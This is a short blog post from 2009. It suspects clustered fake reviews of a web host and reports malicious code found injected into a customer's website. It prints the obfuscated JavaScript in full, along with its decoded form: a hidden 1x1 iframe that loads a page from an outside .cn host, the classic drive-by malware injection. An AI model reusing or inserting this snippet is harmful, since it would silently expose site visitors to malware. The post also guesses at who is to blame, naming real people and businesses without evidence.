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Uncategorized January 12th, 2009

Going through the logs I see some unusual stuff so while I am checking that out I find that http://www.webhostingstuff.com/review/MDWebHosting.html has had a few updates to its Reviews now all these reviews are in a close nit of time 1 on the 3rd December 2008, 2 on the 4th December 2008, 1 on the 9th December 2008, and finally 1 on the 12th December (now this looks suss to me but who am I to argue) all these kind soles may have felt the need to put in positive reviews all at the same time. I don’t own the site and don’t have access to the ip logs so I am sure the owners of webhostingstuff looked into it and saw they were legit?

Anyways back to my story. The post on the 12th of December was from Brad (instrumentsolutions.com.au) now as far as I can tell (and I could be wrong) Brad is a Director, designer and technical support for the domain and business. He gives MD Web Hosting a glowing report 5 stars for Overall Rating, Uptime & Reliability, Technical Support and Customer Service. He must be very happy with MD Web Hosting.

Now you must be saying “SO WHAT” well the interesting thing is I wonder who injected malicious code into their domain was it

  • someone hacked their site? are they using a sloppy script?
  • brad put it in there for some reason? why would you?
  • or did someone hack MD Web Hosting server and inject the code?

Now I am not sure who put it in there luckily the infection has been neutralised. I am sure from past interactions with MD that they will blame Brad for this problem.

The offending code has be obscufated

script type="text/javascript">!--
document.write(unescape('%3c%69%
66%72%61%6d%65%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%68%6f
%73%74%69%6e%67%6d%64%2e%63%6e%2f%73%2f%6f%75%74%2e%70%68%70
%3f%73%5f%69%64%3d%31%22%20%77%69%64%74%68%3d%31%20%68%65%69
%67%68%74%3d%31%20%73%74%79%6c%65%3d%22%76%69%73%69%62%69%6c
%69%74%79%3a%20%68%69%64%64%65%6e%22%3e%3c%2f%69%66%72%61%6d
%65%3e'))
// -->


Which in turns produces this iframe

script type="text/javascript">!--
document.write(unescape('iframe src="
http://hostingmd.cn/s/out.php?s_id=1" mce_src="
http://hostingmd.cn/s/out.php?s_id=1"
width=1 height=1 style="visibility: hidden" mce_style="visibility: hidden">
/iframe>'))
// -->


I wonder should I send an email is it worth it?


RANDOM THOUGHTS, QUOTES & JOKES


I am another unhappy customer here.

Too many problems on the first month using them.

They are still charging the fee up to this month.

On the same month I signed up with MD, I switched to NetLogistics which provides a high speed server.

Cheers

dimara

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